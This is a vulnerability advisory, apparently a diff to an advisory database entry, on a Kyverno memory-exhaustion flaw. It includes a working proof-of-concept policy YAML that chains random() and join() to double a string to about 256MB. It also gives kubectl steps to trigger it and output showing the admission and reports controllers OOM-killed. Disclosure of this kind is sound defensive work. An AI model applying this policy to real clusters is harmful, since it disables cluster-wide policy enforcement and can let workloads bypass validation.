+ "details": "## Summary\n\nUnbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.\n\n## Details\n\nFor example, the `random()` JMESPath function in `pkg/engine/jmespath/functions.go` generates random strings. Combined with the `join()` function, an attacker can create exponential string amplification through context variable chaining:\n\nThe PoC attack uses exponential doubling:\n- `l0` = `random('[a-zA-Z0-9]{1000}')` → 1KB\n- `l1` = `join('', [l0, l0])` → 2KB\n- `l2` = `join('', [l1, l1])` → 4KB\n- ... continues to `l18` → 256MB\n\nThe context evaluation has no cumulative size limit, allowing unbounded memory allocation.\n\n## PoC\n\nTested on Kyverno v1.16.1 on k8s v1.34.0 (kind).\n\n1. Create namespace:\n```bash\nkubectl create namespace poc-test\n```\n\n2. Observe pod statuses from `kyverno` namespace on another terminal:\n```bash\nkubectl get pods -n kyverno -w\n```\n\n2. Apply malicious policy:\n```yaml\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n name: memory-exhaustion-poc\n namespace: poc-test\nspec:\n validationFailureAction: Enforce\n rules:\n - name: exhaust-memory\n match:\n any:\n - resources:\n kinds:\n - ConfigMap\n context:\n - name: l0\n variable:\n jmesPath: random('[a-zA-Z0-9]{1000}')\n - name: l1\n variable:\n jmesPath: join('', [l0, l0])\n - name: l2\n variable:\n jmesPath: join('', [l1, l1])\n - name: l3\n variable:\n jmesPath: join('', [l2, l2])\n - name: l4\n variable:\n jmesPath: join('', [l3, l3])\n - name: l5\n variable:\n jmesPath: join('', [l4, l4])\n - name: l6\n variable:\n jmesPath: join('', [l5, l5])\n - name: l7\n variable:\n jmesPath: join('', [l6, l6])\n - name: l8\n variable:\n jmesPath: join('', [l7, l7])\n - name: l9\n variable:\n jmesPath: join('', [l8, l8])\n - name: l10\n variable:\n jmesPath: join('', [l9, l9])\n - name: l11\n variable:\n jmesPath: join('', [l10, l10])\n - name: l12\n variable:\n jmesPath: join('', [l11, l11])\n - name: l13\n variable:\n jmesPath: join('', [l12, l12])\n - name: l14\n variable:\n jmesPath: join('', [l13, l13])\n - name: l15\n variable:\n jmesPath: join('', [l14, l14])\n - name: l16\n variable:\n jmesPath: join('', [l15, l15])\n - name: l17\n variable:\n jmesPath: join('', [l16, l16])\n - name: l18\n variable:\n jmesPath: join('', [l17, l17])\n validate:\n message: \"Memory exhaustion PoC\"\n deny:\n conditions:\n any:\n - key: \"{{ l18 }}\"\n operator: Equals\n value: \"impossible-match\"\n```\n\nAs soon as you apply this, you'll see the reports controller gets OOM killed and the container enters a crash loop.\n\n4. Trigger policy evaluation on the admission controller:\n```bash\nkubectl create configmap trigger -n poc-test --from-literal=key=value\n```\n\nResponse:\n\n```\nerror: failed to create configmap: Internal error occurred: failed calling webhook \"validate.kyverno.svc-fail\": failed to call webhook: Post \"https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s\": EOF\n```\n\nThe Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes.\n\n5. Check pod status from the `kyverno` namespace:\n\n```bash\nkubectl get pods -n kyverno\n```\n\nOutputs:\n\n```\nkyverno kyverno-admission-controller-58cb4b76c9-wd45p 0/1 OOMKilled 1 (20s ago) 178m\nkyverno kyverno-reports-controller-576566fb98-pfb2f 0/1 OOMKilled 1 (1s ago) 178m\n```\n\nWhile the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same `kubectl create configmap` command from above and reproduce the crash.\n\n\n## Impact\n\nDenial of Service with cluster-wide security impact. Users with `Policy` or `ClusterPolicy` creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing:\n\n- Pod OOMKill and service disruption\n- No logs on why the crash occurred (admission controller, reports controller)\n- Cluster-wide policy enforcement disabled and security policies stop being evaluated\n- If `failurePolicy: Ignore` is configured, workloads bypass all validation during outage\n- Applications depending on Kyverno mutations may deploy with incorrect configurations\n\nAny Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected.\n\n## Mitigation\n\nAdd a context size limit to prevent unbounded memory allocation during policy evaluation.",
0 commit comments